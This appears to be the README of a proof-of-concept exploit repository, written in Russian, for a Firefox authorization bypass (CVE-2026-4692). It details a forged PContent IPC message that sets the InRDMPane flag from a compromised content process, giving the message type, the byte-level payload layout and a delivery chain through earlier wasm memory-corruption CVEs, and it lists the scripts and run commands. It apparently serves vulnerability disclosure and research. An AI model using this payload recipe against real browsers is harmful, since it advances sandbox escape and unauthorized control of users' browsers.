
Доказательство концепции эксплуатации обхода авторизации BrowsingContext в Firefox (CVE-2026-4692), демонстрирующее подделку IPC-сообщений для установки InRDMPane и включения привилегированной инъекции сенсорных событий в пользовательский интерфейс.
Proof of concept для отсутствующей проверки авторизации при синхронизации поля
BrowsingContext: скомпрометированный контентный процесс подделывает сообщение
PContent::CommitBrowsingContextTransaction, устанавливая InRDMPane = true
в собственном top-level BrowsingContext, и родительский процесс применяет его.
Цель: Firefox 149.0a1 nightly @ 2fbc0748c4 (уязвимая, до исправления), macOS arm64.
Исправлено в Firefox 149 — баг 2017643, коммит a9279ce332ed («Prevent toggling RDM
BrowsingContext flag from content processes»), который добавляет:
bool BrowsingContext::CanSet(FieldIndex<IDX_InRDMPane>, const bool&,
ContentParent* aSource) {
return XRE_IsParentProcess() && IsTop() && !aSource; // reject if from content
}
InRDMPane сообщает родительскому процессу, что вкладка является панелью Responsive Design Mode. Родительский процесс доверяет этому при hit-testing синтезированных сенсорных событий (BrowserParent::RecvDispatchTouchEvent): события, номинально нацеленные на панель RDM, могут попадать на привилегированный chrome UI. Скомпрометированный контентный процесс, установивший флаг, может затем отправлять сенсорные события с отрицательными/внеконтентными координатами и кликать по привилегированному UI без взаимодействия с пользователем (см. repro.patch репортера в баге 2017643, который демонстрирует именно это с пропатченной сборкой). Этот репозиторий демонстрирует само нарушение границы, открывающее возможность, с реальной подделкой сообщения — без патчей исходников браузера.
PContent::CommitBrowsingContextTransaction — тип сообщения 0x3a0137
(PContentMsgStart=58 << 16 | ordinal 311), маршрутизация MSG_ROUTING_CONTROL
(INT64_MAX), флаги NOT_NESTED (0x001):
u64 bcid sentinel 235406151 ('aContext')
u64 0x0000000000800000 modified bitset word0 (bit 23 = InRDMPane)
u64 0 bitset word1 (BitSet<84> words are size_t = u64!)
u32 1 WriteBool(true)
u32 523371752 sentinel 'aTransaction'
u64 epoch (epoch check is MOZ_ASSERT-only; compiled out here)
u32 132121169 sentinel 'aEpoch'
Доставка переиспользует путь отправки из CVE-2026-74939: operator new →
IPC::Message::Message(routing, type, capacity, flags) → Pickle::WriteBytes →
MessageChannel::Send по каналу PContent, управляемый из JS через примитив
вызова wasm funcref (wasm-bytes.js, этап 1 = CVE-2026-2796).
Лог родительского процесса (MOZ_LOG=BrowsingContextSync:5) после ./irun:
D/BrowsingContextSync Transaction::Apply(#380000001, ipc): InRDMPane(false->true)
#380000001 — это top-level BrowsingContext всплывающего окна (дочерний выделенный id, созданный from IPC), а ipc помечает транзакцию как исходящую из контента. На исправленной сборке то же сообщение не проходит проверку CanSet и отклоняется.
Предварительные требования: уязвимая сборка Nightly в /Users/sid/gecko-2766/obj-browser,
.venv с psutil и запущенный встроенный логирующий сервер:
python3 srv.py > /tmp/srv4692.log 2>&1 & # serves this dir on :8781
python3 forge_bctx.py # build bctx.bin/bctx.json
./irun # launch + inject + collect evidence
a9279ce332ed (MFSA 2026-20, Firefox 149)../poc-cve-2026-74939)../poc-cve-2026-12295)| Файл | Назначение |
|---|
bctx.html | PoC-страница: вычисляет id BC всплывающего окна во время выполнения, подставляет его в подделанное сообщение, отправляет его |
forge_bctx.py | собирает bctx.bin/bctx.json (самопроверяющиеся), полностью статичен, кроме id BC |
wasm-bytes.js | примитивы этапа 1: произвольное чтение/запись, вызовы funcref |
mdrive2.py | обвязка marionette |
irun | инструментированный запуск: lldb attach + доказательства BrowsingContextSync |
srv.py | логирующий веб-сервер для PoC-страниц (:8781) |
profile.user.js | предпочтения профиля Firefox (fission включён, dump включён) |